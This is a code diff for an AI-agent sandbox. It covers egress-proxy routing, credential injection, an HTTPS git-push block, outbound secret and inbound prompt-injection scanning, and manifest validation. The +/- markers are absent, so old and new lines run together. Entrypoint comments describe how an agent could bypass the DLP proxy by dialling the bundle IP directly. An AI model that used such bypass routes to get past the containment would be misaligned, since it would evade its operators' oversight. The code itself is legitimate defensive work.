raw_list: list[object] = typing.cast(list[object], raw)
out: list[Route] = []
for i, r in enumerate(raw_list):
for i, r in enumerate(raw):
out.append(_parse_one(i, r))
return tuple(out)
@@ -273,29 +91,35 @@ def _parse_one(idx: int, raw: object) -> Route:
label = f"route[{idx}]"
if not isinstance(raw, dict):
raise ValueError(f"{label}: must be an object (got {type(raw).__name__})")
raw_dict: dict[str, object] = typing.cast(dict[str, object], raw)
host: object = raw_dict.get("host")
host = raw.get("host")
if not isinstance(host, str) or not host:
raise ValueError(f"{label}: 'host' must be a non-empty string")
# matches
matches: tuple[MatchEntry, ...] = ()
matches_raw = raw_dict.get("matches")
if matches_raw is not None:
if not isinstance(matches_raw, list):
raise ValueError(f"{label} ({host}): 'matches' must be a list")
matches_list = typing.cast(list[object], matches_raw)
matches = tuple(
_parse_match_entry(idx, k, m) for k, m in enumerate(matches_list)
)
path_allow_raw = raw.get("path_allowlist", [])
if not isinstance(path_allow_raw, list):
raise ValueError(f"{label} ({host}): 'path_allowlist' must be a list")
prefixes: list[str] = []
for j, p in enumerate(path_allow_raw):
if not isinstance(p, str):
raise ValueError(
f"{label} ({host}): path_allowlist[{j}] must be a string"
)
if not p.startswith("/"):
raise ValueError(
f"{label} ({host}): path_allowlist[{j}] {p!r} must be an "
f"absolute path prefix starting with '/'"
)
prefixes.append(p)
# auth (unchanged wire format)
auth_scheme: object = raw_dict.get("auth_scheme", "")
token_env: object = raw_dict.get("token_env", "")
auth_scheme = raw.get("auth_scheme", "")
token_env = raw.get("token_env", "")
if not isinstance(auth_scheme, str):
raise ValueError(f"{label} ({host}): 'auth_scheme' must be a string")
if not isinstance(token_env, str):
raise ValueError(f"{label} ({host}): 'token_env' must be a string")
# Both-or-neither: 'auth' on the manifest side renders to this
# pair atomically. A partial pair here means the renderer or a
# hand-edited file is broken.
if bool(auth_scheme) != bool(token_env):
raise ValueError(
f"{label} ({host}): 'auth_scheme' and 'token_env' must be both "
@@ -303,30 +127,19 @@ def _parse_one(idx: int, raw: object) -> Route:
f"token_env={token_env!r})"
)
# dlp detectors
outbound_detectors, inbound_detectors = _parse_detectors(
idx, host, raw_dict,
)
for k in raw_dict:
if k not in ("host", "matches", "auth_scheme", "token_env", "dlp"):
raise ValueError(
f"{label} ({host}): unknown key {k!r}; accepted keys "
f"are 'host', 'matches', 'auth_scheme', 'token_env', 'dlp'"
)
return Route(
host=host,
matches=matches,
path_allowlist=tuple(prefixes),
auth_scheme=auth_scheme,
token_env=token_env,
outbound_detectors=outbound_detectors,
inbound_detectors=inbound_detectors,
)
def load_routes(text: str) -> tuple[Route, ...]:
"""Parse YAML text → routes."""
"""Parse YAML text → routes. Raises `ValueError` for both
decode and shape errors so callers handle them uniformly.
`YamlSubsetError` from the parser is a `ValueError` subclass so
it already satisfies the same surface; we let it propagate."""
try:
payload = parse_yaml_subset(text)
except YamlSubsetError as e:
@@ -334,76 +147,29 @@ def load_routes(text: str) -> tuple[Route, ...]:
return parse_routes(payload)
# ---------------------------------------------------------------------------
# Match evaluation
# ---------------------------------------------------------------------------
def _path_matches(pm: PathMatch, request_path: str) -> bool:
if pm.type == "exact":
return request_path == pm.value
if pm.type == "prefix":
if request_path == pm.value:
return True
if not pm.value.endswith("/"):
return request_path.startswith(pm.value + "/")
return request_path.startswith(pm.value)
if pm.type == "regex" and pm.compiled is not None:
return pm.compiled.search(request_path) is not None
return False
def _entry_matches(
entry: MatchEntry,
request_path: str,
request_method: str,
request_headers: typing.Mapping[str, str],
) -> bool:
"""All predicates within a MatchEntry are ANDed."""
if entry.paths:
if not any(_path_matches(pm, request_path) for pm in entry.paths):
return False
if entry.methods:
if request_method.upper() not in entry.methods:
return False
if entry.headers:
for hm in entry.headers:
header_val = request_headers.get(hm.name.lower())
if header_val is None:
return False
if hm.type == "exact":
if header_val != hm.value:
return False
elif hm.type == "regex" and hm.compiled is not None:
if not hm.compiled.search(header_val):
return False
return True
def evaluate_matches(
route: Route,
request_path: str,
request_method: str = "GET",
request_headers: typing.Mapping[str, str] | None = None,
) -> bool:
"""Return True if the request matches this route's match entries.
Empty matches tuple means all requests match (bare-pass route)."""
if not route.matches:
return True
hdrs: typing.Mapping[str, str] = request_headers or {}
return any(
_entry_matches(entry, request_path, request_method, hdrs)
for entry in route.matches
)
# ---------------------------------------------------------------------------
# Git push detection (unchanged)
# ---------------------------------------------------------------------------
def is_git_push_request(path: str, query: str) -> bool:
"""Return True if the request is a git smart-HTTP push.
git push over HTTPS hits two endpoints:
GET <repo>/info/refs?service=git-receive-pack (capabilities)
POST <repo>/git-receive-pack (the push)
Fetches use `service=git-upload-pack` / `/git-upload-pack` and
are unaffected. Egress-proxy refuses HTTPS push because git-gate's
pre-receive gitleaks scan is the gate for outbound git data;
routing push through egress would bypass that. Use the
bottle.git SSH path if you need to push.
Universal across routes — the block fires even when no
egress route matches the host. A bare-pass route (host with
no auth, no path_allowlist) would otherwise let push through to
pipelock + upstream untouched.
"""
if path.endswith("/git-receive-pack"):
return True
if path.endswith("/info/refs"):
# Query string is parsed leniently — `service=git-receive-pack`
# may appear with other params in any order.
for pair in query.split("&"):
k, _, v = pair.partition("=")
if k == "service" and v == "git-receive-pack":
@@ -411,14 +177,18 @@ def is_git_push_request(path: str, query: str) -> bool:
return False
# ---------------------------------------------------------------------------
# Route lookup + decision
# ---------------------------------------------------------------------------
def match_route(
routes: typing.Sequence[Route],
request_host: str,
) -> Route | None:
"""Return the first route whose `host` matches `request_host`
exactly (case-insensitive). DNS names are case-insensitive.
Wildcard hosts (`*.foo.com`) are NOT supported — they caused
too many edge cases (apex match? cert validation? pipelock
mirror mismatch?) for too little payoff. Operators that need
multiple subdomains declare them individually (or one common
parent host as a bare-pass route)."""
target = request_host.lower()
for r in routes:
if r.host.lower() == target:
@@ -431,9 +201,24 @@ def decide(
request_host: str,
request_path: str,
environ: typing.Mapping[str, str],
request_method: str = "GET",
request_headers: typing.Mapping[str, str] | None = None,
) -> Decision:
"""Pure decision: given a route table + request host + path + env,
return what the addon should do with the request.
- No matching route → BLOCK. The route table is the bottle's
egress allowlist; defense-in-depth complements pipelock's
hostname gate on the downstream leg. A bottle that wants a
host reachable from the agent must declare a route for it
(bare-pass route — no `auth`, no `path_allowlist` — is fine
for hosts that just need passthrough).
- Matching route with `path_allowlist` set, request path doesn't
start with any of the allowed prefixes → block with a clear
reason.
- Matching route with an auth pair → forward + inject
Authorization. Token comes from `environ[route.token_env]`;
missing/empty values block (route declared auth but the secret
isn't here — operator misconfig).
"""
route = match_route(routes, request_host)
if route is None:
return Decision(
@@ -445,15 +230,15 @@ def decide(
),
)
if not evaluate_matches(route, request_path, request_method, request_headers):
return Decision(
action="block",
reason=(
f"egress: request {request_method} {request_path!r} "
f"does not match any entry in matches for "
f"{route.host!r}"
),
)
if route.path_allowlist:
if not any(request_path.startswith(p) for p in route.path_allowlist):
return Decision(
action="block",
reason=(
f"egress: path {request_path!r} not in "
f"path_allowlist for {route.host!r}"
),
)
if route.auth_scheme and route.token_env:
token = environ.get(route.token_env, "")
@@ -473,80 +258,12 @@ def decide(
return Decision(action="forward")
# ---------------------------------------------------------------------------
# DLP scan dispatch (PRD 0053)
# ---------------------------------------------------------------------------
def _detector_enabled(
configured: tuple[str, ...] | None,
name: str,
) -> bool:
"""Check if a named detector is enabled for a route direction.
None means all enabled; empty tuple means all disabled."""
if configured is None:
return True
return name in configured
def scan_outbound(
route: Route,
body: str | bytes,
environ: typing.Mapping[str, str],
) -> ScanResult | None:
# Lazy import to avoid circular deps and keep dlp_detectors optional
# at import time (the sidecar copies it flat alongside this file).
try:
from dlp_detectors import scan_token_patterns, scan_known_secrets # type: ignore[import-not-found]
except ImportError: # pragma: no cover - host-side path
from .dlp_detectors import scan_token_patterns, scan_known_secrets # type: ignore[import-not-found]
text = body if isinstance(body, str) else body.decode("utf-8", errors="replace")
if _detector_enabled(route.outbound_detectors, "token_patterns"):
result = scan_token_patterns(text)
if result is not None:
return result
if _detector_enabled(route.outbound_detectors, "known_secrets"):
result = scan_known_secrets(text, env=environ)
if result is not None:
return result
return None
def scan_inbound(
route: Route,
body: str | bytes,
) -> ScanResult | None:
try:
from dlp_detectors import scan_naive_injection # type: ignore[import-not-found]
except ImportError: # pragma: no cover - host-side path
from .dlp_detectors import scan_naive_injection # type: ignore[import-not-found]
text = body if isinstance(body, str) else body.decode("utf-8", errors="replace")
if _detector_enabled(route.inbound_detectors, "naive_injection_detection"):
result = scan_naive_injection(text)
if result is not None:
return result
return None
__all__ = [
"Decision",
"HeaderMatch",
"MatchEntry",
"PathMatch",
"Route",
"ScanResult",
"decide",
"evaluate_matches",
"is_git_push_request",
"load_routes",
"match_route",
"parse_routes",
"scan_inbound",
"scan_outbound",
]
bot_bottle/egress_entrypoint.sh
+18 -11
View File
@@ -6,15 +6,15 @@
# call it as a normal child. Behavior is unchanged:
#
# * Upstream proxy: when EGRESS_UPSTREAM_PROXY is set, switch
# to `--mode upstream:URL` to chain through an upstream proxy.
# mitmproxy does NOT honor HTTPS_PROXY on its outbound side,
# so the upstream wiring has to be the mitmproxy mode flag,
# not env.
# to `--mode upstream:URL` to forward all post-MITM traffic
# through pipelock. mitmproxy does NOT honor HTTPS_PROXY on
# its outbound side, so the upstream wiring has to be the
# mitmproxy mode flag, not env.
# * Upstream trust: when EGRESS_UPSTREAM_CA is set, build a
# combined trust bundle (system roots + upstream CA) and point
# combined trust bundle (system roots + pipelock CA) and point
# mitmproxy at it. The option REPLACES mitmproxy's default
# trust store, so passing the upstream CA alone would break
# non-chained hosts.
# trust store, so passing pipelock's CA alone would break
# route-configured pipelock passthrough hosts.
# * `-s /app/egress_addon.py` loads the addon that reads
# /etc/egress/routes.yaml.
@@ -38,7 +38,11 @@ fi
# Bind address. Docker backend wants `0.0.0.0` (agent dials egress
# directly via the docker network alias). Smolmachines backend
# uses EGRESS_LISTEN_HOST when a non-default binding is needed.
# wants `127.0.0.1` because the agent dials pipelock — not egress
# — and egress is pipelock's localhost-only upstream inside the
# bundle. TSI's IP-only allowlist would otherwise let the agent
# reach `<bundle-ip>:9099` and bypass pipelock's DLP; binding
# 127.0.0.1 inside the bundle closes that gap (PRD 0023 chunk 3).
LISTEN_HOST_FLAG=""
if [ -n "$EGRESS_LISTEN_HOST" ]; then
LISTEN_HOST_FLAG="--listen-host $EGRESS_LISTEN_HOST"
@@ -52,10 +56,13 @@ if [ -n "$EGRESS_UPSTREAM_CA" ] && [ -f "$EGRESS_UPSTREAM_CA" ]; then
fi
# Scope the proxy env to this process tree only. In the bundle
# image (PRD 0024) multiple daemons share one container — setting
# image (PRD 0024) the four daemons share one container — setting
# HTTPS_PROXY at the container level would route git-gate's git
# pushes through an upstream proxy unintentionally. Setting them
# here means only mitmdump's subprocess inherits them.
# pushes through pipelock, which is wrong (pipelock doesn't proxy
# SSH and would block public git repos). Setting them here means
# only mitmdump's subprocess inherits them. In the legacy
# four-sidecar setup these env vars are also set in compose; here
# they're additionally defensive.
if [ -n "$EGRESS_UPSTREAM_PROXY" ]; then
export HTTPS_PROXY="$EGRESS_UPSTREAM_PROXY"
export HTTP_PROXY="$EGRESS_UPSTREAM_PROXY"
bot_bottle/env.py
+1 -1
View File
@@ -89,7 +89,7 @@ def _read_secret_silent(name: str, prompt_body: str) -> str:
if not (sys.stdin.isatty() or sys.stderr.isatty()):
# Fall back to /dev/tty so this still works when stdin is a pipe.
try:
tty = open("/dev/tty", "r+", encoding="utf-8")
tty = open("/dev/tty", "r+")
except OSError:
die(
f"cannot prompt for secret '{name}': no tty available. "
bot_bottle/git_gate.py
+3 -3
View File
@@ -15,9 +15,9 @@ a bare repo on the gate; `git daemon` serves the bare repos over
The agent never sees the upstream credential under either path.
Why a separate sidecar (not folded into egress or ssh-gate): the
Why a third sidecar (not folded into pipelock or ssh-gate): the
gate is the only one of the three that holds upstream push
credentials. Mixing it with egress would put push creds in the
credentials. Mixing it with pipelock would put push creds in the
same blast radius as internet-facing TLS interception; mixing it
with ssh-gate would force ssh-gate above L4 and into git-protocol
land. See `docs/prds/0008-git-gate.md`.
@@ -32,7 +32,7 @@ from __future__ import annotations
import dataclasses
import os
import shlex
from abc import ABC
from abc import ABC, abstractmethod
from dataclasses import dataclass
from pathlib import Path
bot_bottle/git_http_backend.py
+4 -4
View File
@@ -78,8 +78,8 @@ class GitHttpHandler(BaseHTTPRequestHandler):
"REMOTE_ADDR": self.client_address[0],
"REMOTE_PORT": str(self.client_address[1]),
"REMOTE_USER": "",
"SERVER_NAME": self.server.server_name, # type: ignore
"SERVER_PORT": str(self.server.server_port), # type: ignore
"SERVER_NAME": self.server.server_name,
"SERVER_PORT": str(self.server.server_port),
"SERVER_PROTOCOL": self.request_version,
})
for header, variable in (
@@ -157,8 +157,8 @@ class GitHttpHandler(BaseHTTPRequestHandler):
self.end_headers()
self.wfile.write(body)
def log_message(self, format: str, *args: object) -> None: # type: ignore # noqa: A002
sys.stdout.write(format % args + "\n")
def log_message(self, fmt: str, *args: object) -> None:
sys.stdout.write(fmt % args + "\n")
sys.stdout.flush()
bot_bottle/manifest.py
+13 -11
View File
@@ -18,7 +18,8 @@ Bottle schema (frontmatter):
user: { name: <str>, email: <str> } # optional
repos: { <name>: <git-gate-entry>, ... } # optional
egress: { routes: [ <egress-route>, ... ] }
# route keys: host, matches, auth, role, dlp
# route keys: host, path_allowlist, auth, role, pipelock
# pipelock: { tls_passthrough: <bool>, ssrf_ip_allowlist: [<cidr>, ...] }
supervise: <bool> # optional
Agent schema (frontmatter):
@@ -55,6 +56,8 @@ from .manifest_egress import (
EGRESS_AUTH_SCHEMES,
EgressConfig,
EgressRoute,
PipelockRoutePolicy,
validate_egress_routes,
)
from .manifest_git import GitEntry, GitUser, parse_git_gate_config
from .manifest_schema import BOTTLE_KEYS
@@ -66,6 +69,7 @@ __all__ = [
"GitUser",
"AgentProvider",
"EGRESS_AUTH_SCHEMES",
"PipelockRoutePolicy",
"EgressRoute",
"EgressConfig",
"Agent",
@@ -97,11 +101,12 @@ class Bottle:
git_user: GitUser = field(default_factory=GitUser)
egress: EgressConfig = field(default_factory=EgressConfig)
# Opt-in per-bottle stuck-recovery sidecar (PRD 0013). When true,
# the launch step brings up a supervise sidecar that exposes MCP
# tools to the agent (egress-block, capability-block) plus mounts
# the current-config dir read-only into the agent at
# /etc/bot-bottle/current-config. False (the default) skips the
# sidecar and mount.
# the launch step brings up a supervise sidecar that exposes three
# MCP tools to the agent (cred-proxy-block, pipelock-block,
# capability-block; the cred-proxy-block tool is renamed and
# retargeted at egress in PRD 0017 chunk 3) plus mounts the
# current-config dir read-only into the agent at /etc/bot-bottle/
# current-config. False (the default) skips the sidecar and mount.
supervise: bool = False
@classmethod
@@ -318,11 +323,8 @@ class Manifest:
return
available = ", ".join(self.agents.keys())
if available:
msg = f"agent '{name}' not defined in bot-bottle.json. Available: {available}"
raise ManifestError(msg)
raise ManifestError(
f"agent '{name}' not defined in bot-bottle.json (manifest is empty)."
)
raise ManifestError(f"agent '{name}' not defined in bot-bottle.json. Available: {available}")
raise ManifestError(f"agent '{name}' not defined in bot-bottle.json (manifest is empty).")
def has_bottle(self, name: str) -> bool:
return name in self.bottles
bot_bottle/manifest_agent.py
+4 -13
View File
@@ -114,10 +114,7 @@ class Agent:
bottle = d.get("bottle")
if not isinstance(bottle, str) or not bottle:
raise ManifestError(
f"agent '{name}' must declare a 'bottle' field naming a "
f"defined bottle"
)
raise ManifestError(f"agent '{name}' must declare a 'bottle' field naming a defined bottle")
if bottle not in bottle_names:
available = ", ".join(sorted(bottle_names)) or "(none defined)"
raise ManifestError(
@@ -129,10 +126,7 @@ class Agent:
skills_raw = d.get("skills")
if skills_raw is not None:
if not isinstance(skills_raw, list):
raise ManifestError(
f"agent '{name}' skills must be an array "
f"(was {type(skills_raw).__name__})"
)
raise ManifestError(f"agent '{name}' skills must be an array (was {type(skills_raw).__name__})")
collected: list[str] = []
skills_list = cast(list[object], skills_raw)
for i, skill in enumerate(skills_list):
@@ -150,10 +144,7 @@ class Agent:
elif isinstance(prompt_raw, str):
prompt = prompt_raw
else:
raise ManifestError(
f"agent '{name}' prompt must be a string "
f"(was {type(prompt_raw).__name__})"
)
raise ManifestError(f"agent '{name}' prompt must be a string (was {type(prompt_raw).__name__})")
# git-gate: agents may declare only `git-gate.user` (name/email).
# `git-gate.repos` is bottle-only — it carries credentials and host trust.
@@ -161,7 +152,7 @@ class Agent:
git_raw = d.get("git-gate")
if git_raw is not None:
gd = as_json_object(git_raw, f"agent '{name}' git-gate")
for k in gd:
for k in gd.keys():
if k != "user":
raise ManifestError(
f"agent '{name}' git-gate.{k} is not allowed at the "
bot_bottle/manifest_egress.py
+133 -223
View File
@@ -1,31 +1,33 @@
"""Egress routing manifest dataclasses and helpers (PRD 0017, PRD 0053)."""
"""Egress routing manifest dataclasses and helpers."""
from __future__ import annotations
import re
from dataclasses import dataclass
import ipaddress
from dataclasses import dataclass, field
from typing import cast
from .manifest_util import ManifestError, as_json_object
# Auth schemes for the egress route's optional `auth` block.
# Same values cred-proxy accepts today; `token` sidesteps the Gitea
# token-not-Bearer quirk (go-gitea/gitea#16734).
EGRESS_AUTH_SCHEMES = ("Bearer", "token")
PATH_MATCH_TYPES = ("exact", "prefix", "regex")
HEADER_MATCH_TYPES = ("exact", "regex")
VALID_METHODS = frozenset({
"GET", "HEAD", "POST", "PUT", "DELETE", "PATCH", "OPTIONS", "TRACE",
"CONNECT",
})
OUTBOUND_DETECTOR_NAMES = frozenset({"token_patterns", "known_secrets"})
INBOUND_DETECTOR_NAMES = frozenset({"naive_injection_detection"})
def validate_egress_routes(
bottle_name: str,
routes: tuple[EgressRoute, ...],
) -> None:
"""Cross-validation for `bottle.egress.routes`: hosts must be unique.
The proxy matches by exact-host (v1); duplicate hosts leave the
route choice ambiguous so we reject them up front.
No cross-validation against `bottle.git-gate.repos` is performed.
git-gate (SSH push/fetch) and egress (HTTPS) broker different
protocols; declaring both for the same host is a legitimate dev
setup."""
seen_hosts: dict[str, None] = {}
for r in routes:
key = r.Host.lower()
@@ -38,34 +40,99 @@ def validate_egress_routes(
@dataclass(frozen=True)
class PathMatch:
Type: str = "prefix"
Value: str = ""
class PipelockRoutePolicy:
"""Per-route pipelock policy overrides.
`TlsPassthrough` adds the route host to pipelock's
`tls_interception.passthrough_domains`, so pipelock still enforces
the hostname allowlist but does not MITM/decrypt request bodies or
headers for that host.
@dataclass(frozen=True)
class HeaderMatch:
Name: str = ""
Value: str = ""
Type: str = "exact"
`SsrfIpAllowlist` adds explicit IPs/CIDRs to pipelock's SSRF
allowlist for private/internal destinations behind this route.
"""
TlsPassthrough: bool = False
SsrfIpAllowlist: tuple[str, ...] = ()
@dataclass(frozen=True)
class MatchEntry:
Paths: tuple[PathMatch, ...] = ()
Methods: tuple[str, ...] = ()
Headers: tuple[HeaderMatch, ...] = ()
@classmethod
def from_dict(
cls, bottle_name: str, idx: int, raw: object,
) -> "PipelockRoutePolicy":
label = f"bottle '{bottle_name}' egress.routes[{idx}] pipelock"
d = as_json_object(raw, label)
for k in d:
if k not in ("tls_passthrough", "ssrf_ip_allowlist"):
raise ManifestError(
f"{label} has unknown key {k!r}; "
f"only 'tls_passthrough' and 'ssrf_ip_allowlist' "
f"are accepted"
)
tls_passthrough_raw = d.get("tls_passthrough", False)
if not isinstance(tls_passthrough_raw, bool):
raise ManifestError(
f"{label}.tls_passthrough must be a boolean "
f"(was {type(tls_passthrough_raw).__name__})"
)
ssrf_raw = d.get("ssrf_ip_allowlist", [])
if not isinstance(ssrf_raw, list):
raise ManifestError(
f"{label}.ssrf_ip_allowlist must be an array "
f"(was {type(ssrf_raw).__name__})"
)
ssrf_ip_allowlist: list[str] = []
for j, item in enumerate(ssrf_raw):
if not isinstance(item, str) or not item:
raise ManifestError(
f"{label}.ssrf_ip_allowlist[{j}] must be a non-empty "
f"string (was {type(item).__name__})"
)
try:
ipaddress.ip_network(item, strict=False)
except ValueError as e:
raise ManifestError(
f"{label}.ssrf_ip_allowlist[{j}] must be an IP address "
f"or CIDR (was {item!r}): {e}"
)
ssrf_ip_allowlist.append(item)
return cls(
TlsPassthrough=tls_passthrough_raw,
SsrfIpAllowlist=tuple(ssrf_ip_allowlist),
)
@dataclass(frozen=True)
class EgressRoute:
"""One route on the per-bottle egress sidecar (PRD 0017).
`Host` matches the request's hostname (case-insensitive). The
optional `PathAllowlist` constrains the URL path to a set of
prefixes; empty tuple means no path-level filtering. The optional
`AuthScheme` / `TokenRef` pair drives credential injection:
when set, the proxy strips any inbound Authorization and injects
`<AuthScheme> <value-of-host-env-named-by-TokenRef>`. When the
manifest's `auth` block is omitted both fields are empty strings —
no Authorization is written, no token forwarded.
`Role` is reserved for future use; all role strings are currently
rejected by the validator.
Validation rules (enforced in `from_dict`):
- `host` required, non-empty.
- `path_allowlist` optional, list of absolute path prefixes.
- `auth` optional. If present, MUST carry both `scheme` and
`token_ref` as non-empty strings; an empty `auth: {}` is an
error rather than a synonym for "no auth" (omit `auth` for
that case).
- `role` optional, reserved — any non-empty value is rejected.
"""
Host: str
Matches: tuple[MatchEntry, ...] = ()
PathAllowlist: tuple[str, ...] = ()
AuthScheme: str = ""
TokenRef: str = ""
Role: tuple[str, ...] = ()
OutboundDetectors: tuple[str, ...] | None = None
InboundDetectors: tuple[str, ...] | None = None
Pipelock: PipelockRoutePolicy = field(default_factory=PipelockRoutePolicy)
@classmethod
def from_dict(cls, bottle_name: str, idx: int, raw: object) -> "EgressRoute":
@@ -75,24 +142,30 @@ class EgressRoute:
if not isinstance(host, str) or not host:
raise ManifestError(f"{label} missing required string field 'host'")
# --- matches ---
matches: tuple[MatchEntry, ...] = ()
matches_raw = d.get("matches")
if matches_raw is not None:
if not isinstance(matches_raw, list):
path_allow_raw = d.get("path_allowlist")
prefixes: tuple[str, ...] = ()
if path_allow_raw is not None:
if not isinstance(path_allow_raw, list):
raise ManifestError(
f"{label} matches must be an array "
f"(was {type(matches_raw).__name__})"
f"{label} path_allowlist must be an array "
f"(was {type(path_allow_raw).__name__})"
)
matches_list = cast(list[object], matches_raw)
entries: list[MatchEntry] = []
for k, entry_raw in enumerate(matches_list):
entries.append(
_parse_match_entry(label, k, entry_raw)
)
matches = tuple(entries)
path_list = cast(list[object], path_allow_raw)
collected: list[str] = []
for j, p in enumerate(path_list):
if not isinstance(p, str):
raise ManifestError(
f"{label} path_allowlist[{j}] must be a string "
f"(was {type(p).__name__})"
)
if not p.startswith("/"):
raise ManifestError(
f"{label} path_allowlist[{j}] {p!r} must be an "
f"absolute path prefix starting with '/'"
)
collected.append(p)
prefixes = tuple(collected)
# --- auth ---
auth_scheme = ""
token_ref = ""
if "auth" in d:
@@ -130,7 +203,6 @@ class EgressRoute:
auth_scheme = auth_scheme_raw
token_ref = token_ref_raw
# --- role (reserved) ---
role_raw = d.get("role")
roles: tuple[str, ...] = ()
if role_raw is None:
@@ -142,8 +214,7 @@ class EgressRoute:
collected_roles: list[str] = []
for r in role_list:
if not isinstance(r, str):
msg = f"{label} role items must be strings (got {type(r).__name__})"
raise ManifestError(msg)
raise ManifestError(f"{label} role items must be strings (got {type(r).__name__})")
collected_roles.append(r)
roles = tuple(collected_roles)
else:
@@ -157,197 +228,36 @@ class EgressRoute:
f"the 'role' field is reserved for future use"
)
# --- dlp ---
outbound_detectors: tuple[str, ...] | None = None
inbound_detectors: tuple[str, ...] | None = None
if "dlp" in d:
outbound_detectors, inbound_detectors = _parse_dlp_block(
label, d.get("dlp"),
)
pipelock = (
PipelockRoutePolicy.from_dict(bottle_name, idx, d["pipelock"])
if "pipelock" in d
else PipelockRoutePolicy()
)
for k in d:
if k not in ("host", "matches", "auth", "role", "dlp"):
if k not in ("host", "path_allowlist", "auth", "role", "pipelock"):
raise ManifestError(
f"{label} has unknown key {k!r}; accepted keys are "
f"'host', 'matches', 'auth', 'role', 'dlp'"
f"'host', 'path_allowlist', 'auth', 'role', 'pipelock'"
)
return cls(
Host=host,
Matches=matches,
PathAllowlist=prefixes,
AuthScheme=auth_scheme,
TokenRef=token_ref,
Role=roles,
OutboundDetectors=outbound_detectors,
InboundDetectors=inbound_detectors,
Pipelock=pipelock,
)
def _parse_match_entry(
route_label: str, k: int, raw: object,
) -> MatchEntry:
label = f"{route_label} matches[{k}]"
d = as_json_object(raw, label)
paths: tuple[PathMatch, ...] = ()
paths_raw = d.get("paths")
if paths_raw is not None:
if not isinstance(paths_raw, list):
raise ManifestError(f"{label} paths must be an array")
paths_list = cast(list[object], paths_raw)
parsed_paths: list[PathMatch] = []
for j, p_raw in enumerate(paths_list):
parsed_paths.append(_parse_path_match(label, j, p_raw))
paths = tuple(parsed_paths)
methods: tuple[str, ...] = ()
methods_raw = d.get("methods")
if methods_raw is not None:
if not isinstance(methods_raw, list):
raise ManifestError(f"{label} methods must be an array")
methods_list = cast(list[object], methods_raw)
normalised: list[str] = []
for j, m in enumerate(methods_list):
if not isinstance(m, str):
raise ManifestError(
f"{label} methods[{j}] must be a string"
)
upper = m.upper()
if upper not in VALID_METHODS:
raise ManifestError(
f"{label} methods[{j}] {m!r} is not a valid HTTP method"
)
normalised.append(upper)
methods = tuple(normalised)
headers: tuple[HeaderMatch, ...] = ()
headers_raw = d.get("headers")
if headers_raw is not None:
if not isinstance(headers_raw, list):
raise ManifestError(f"{label} headers must be an array")
headers_list = cast(list[object], headers_raw)
parsed_headers: list[HeaderMatch] = []
for j, h_raw in enumerate(headers_list):
parsed_headers.append(_parse_header_match(label, j, h_raw))
headers = tuple(parsed_headers)
for key in d:
if key not in ("paths", "methods", "headers"):
raise ManifestError(f"{label} has unknown key {key!r}")
return MatchEntry(Paths=paths, Methods=methods, Headers=headers)
def _parse_path_match(
entry_label: str, j: int, raw: object,
) -> PathMatch:
label = f"{entry_label} paths[{j}]"
d = as_json_object(raw, label)
ptype = d.get("type", "prefix")
if not isinstance(ptype, str) or ptype not in PATH_MATCH_TYPES:
raise ManifestError(
f"{label} type must be one of {', '.join(PATH_MATCH_TYPES)} "
f"(got {ptype!r})"
)
value = d.get("value")
if not isinstance(value, str) or not value:
raise ManifestError(f"{label} value must be a non-empty string")
if ptype in ("exact", "prefix") and not value.startswith("/"):
raise ManifestError(
f"{label} value {value!r} must start with '/' for type {ptype!r}"
)
if ptype == "regex":
try:
re.compile(value)
except re.error as e:
raise ManifestError(
f"{label} regex {value!r} failed to compile: {e}"
) from e
for k in d:
if k not in ("type", "value"):
raise ManifestError(f"{label} has unknown key {k!r}")
return PathMatch(Type=ptype, Value=value)
def _parse_header_match(
entry_label: str, j: int, raw: object,
) -> HeaderMatch:
label = f"{entry_label} headers[{j}]"
d = as_json_object(raw, label)
name = d.get("name")
if not isinstance(name, str) or not name:
raise ManifestError(f"{label} name must be a non-empty string")
value = d.get("value")
if not isinstance(value, str):
raise ManifestError(f"{label} value must be a string")
htype = d.get("type", "exact")
if not isinstance(htype, str) or htype not in HEADER_MATCH_TYPES:
raise ManifestError(
f"{label} type must be one of {', '.join(HEADER_MATCH_TYPES)} "
f"(got {htype!r})"
)
if htype == "regex":
try:
re.compile(value)
except re.error as e:
raise ManifestError(
f"{label} regex {value!r} failed to compile: {e}"
) from e
for k in d:
if k not in ("name", "value", "type"):
raise ManifestError(f"{label} has unknown key {k!r}")
return HeaderMatch(Name=name, Value=value, Type=htype)
def _parse_dlp_block(
route_label: str,
raw: object,
) -> tuple[tuple[str, ...] | None, tuple[str, ...] | None]:
label = f"{route_label} dlp"
d = as_json_object(raw, label)
def _parse_field(
field: str,
valid_names: frozenset[str],
) -> tuple[str, ...] | None:
val = d.get(field)
if val is None:
return None
if val is False:
return ()
if not isinstance(val, list):
raise ManifestError(
f"{label} {field} must be false, a list, or omitted"
)
items = cast(list[object], val)
names: list[str] = []
for j, item in enumerate(items):
if not isinstance(item, str):
raise ManifestError(
f"{label} {field}[{j}] must be a string"
)
if item not in valid_names:
raise ManifestError(
f"{label} {field}[{j}] {item!r} is not a valid "
f"detector; valid: {', '.join(sorted(valid_names))}"
)
names.append(item)
return tuple(names)
outbound = _parse_field("outbound_detectors", OUTBOUND_DETECTOR_NAMES)
inbound = _parse_field("inbound_detectors", INBOUND_DETECTOR_NAMES)
for k in d:
if k not in ("outbound_detectors", "inbound_detectors"):
raise ManifestError(
f"{label} has unknown key {k!r}; accepted keys are "
f"'outbound_detectors', 'inbound_detectors'"
)
return outbound, inbound
@dataclass(frozen=True)
class EgressConfig:
"""Per-bottle egress configuration. Today this is just the
route table; the nesting under `egress:` leaves room for
per-bottle proxy settings (port override, log level, etc.) in
follow-ups."""
routes: tuple[EgressRoute, ...] = ()
@classmethod
bot_bottle/manifest_git.py
+4 -10
View File
@@ -30,18 +30,12 @@ def parse_git_upstream(url: str, label: str) -> tuple[str, str, str, str]:
raise ManifestError(f"{label} must be an ssh:// URL (was {url!r})")
rest = url[len("ssh://"):]
if "@" not in rest:
raise ManifestError(
f"{label} must include a user (e.g. ssh://git@host/path.git); "
f"was {url!r}"
)
raise ManifestError(f"{label} must include a user (e.g. ssh://git@host/path.git); was {url!r}")
user, _, hostpart = rest.partition("@")
if not user:
raise ManifestError(f"{label} user is empty in {url!r}")
if "/" not in hostpart:
raise ManifestError(
f"{label} must include a path (e.g. ssh://git@host/path.git); "
f"was {url!r}"
)
raise ManifestError(f"{label} must include a path (e.g. ssh://git@host/path.git); was {url!r}")
hostport, _, path = hostpart.partition("/")
if not path:
raise ManifestError(f"{label} path is empty in {url!r}")
@@ -246,7 +240,7 @@ class GitUser:
@classmethod
def from_dict(cls, bottle_name: str, raw: object) -> "GitUser":
d = as_json_object(raw, f"bottle '{bottle_name}' git-gate.user")
for k in d:
for k in d.keys():
